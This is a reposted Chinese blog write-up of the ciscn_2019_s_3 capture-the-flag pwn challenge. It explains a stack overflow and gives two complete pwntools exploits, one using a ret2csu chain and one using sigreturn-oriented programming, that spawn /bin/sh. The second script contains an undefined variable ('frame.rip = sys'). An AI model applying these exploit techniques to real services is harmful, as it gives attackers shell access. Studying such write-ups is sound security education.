SROP-ciscn_2019_s_3

Posted by Mr.Be1ieVe on Thursday, January 23, 2020

Sigreturn Oriented Programming (SROP) Attack攻击原理

比较详细的WP

https://www.jianshu.com/p/ca4a5dacd1a2

两个系统调用,一个是sys_read,一个是sys_write,往栈上写数据(0x400),从栈上读数据(0x30),存在栈溢出。 还有一个gadget函数。

在这里插入图片描述

有两个值得注意的地方。mov rax,0fh 以及mov rax 59。这两个gadget控制了rax的值,看看这两个是什么系统调用。 15 sys_rt_sigreturn 59 sys_execve

解法一 59号系统调用是execve那么就可以想办法控制寄存器的值调用execve("/bin/sh",0,0),注意在调用execve时,后面两个参数需要置0,由于需要控制rdx的值,所以选择使用通用gadget,__libc_csu_init。 在这里插入图片描述

r13的值会给到rdx,让rbx=0,下面call的时候会变为call [r12],会去call r12指向位置的代码,我们可以调到后面的rop执行,所以需要知道栈的地址,我们获取/bin/sh字符串时也需要知道栈地址。这题刚好在write的时候0x28这个位置是栈上的值,于是通过计算可以得到栈上/bin/sh的地址,即rsp-0x10的值。

from pwn import *

io=process(‘pwn’) main=0x0004004ED execv=0x04004E2 pop_rdi=0x4005a3 pop_rbx_rbp_r12_r13_r14_r15=0x40059A mov_rdxr13_call=0x0400580 sys_write=0x00400517

pl1=’/bin/sh\x00’*2+p64(main) io.send(pl1) io.recv(0x20) sh=u64(io.recv(8))-280 print(hex(sh))

pl2=’/bin/sh\x00’*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3 pl2+=p64(mov_rdxr13_call)+p64(execv) pl2+=p64(pop_rdi)+p64(sh)+p64(sys_write) io.send(pl2)

io.interactive()

解法2 15号系统调用sigreturn。这个系统调用是在终止信号恢复用户态环境时用的。那么我们在栈上伪造寄存器的值,那么恢复时就可将寄存器控制为我们想要的值。 具体可参考:Framing Signals—A Return to Portable Shellcode

from pwn import *

io=process(‘pwn’) context.binary=’./pwn’ context.terminal = [‘gnome-terminal’,’-x’,‘sh’,’-c’]

main=0x0004004ED sigret=0x4004DA sys_write=0x400517

pl1=’/bin/sh\x00’*2+p64(main) io.send(pl1) io.recv(0x20) sh=u64(io.recv(8))-280 #sh值为binsh所在的位置 print(hex(sh))

frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = sh frame.rsi = 0 frame.rdx = 0 frame.rip = sys

pl1=‘a’*16+p64(sigret)+p64(sys_write)+str(frame)

’’’ def debug(addr): raw_input(‘debug:’) gdb.attach(io, “b *” + addr) debug(‘0x400514’) ’’’

pl2=’/bin/sh\x00’*2+p64(sigret)+p64(sys_write)+str(frame) io.send(pl2)

io.interactive()
———————————————— 版权声明:本文为CSDN博主「yudhui」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/github_36788573/article/details/103541178

「真诚赞赏,手留余香」

Mr.Be1ieVe's Treasure

真诚赞赏,手留余香

使用微信扫描二维码完成支付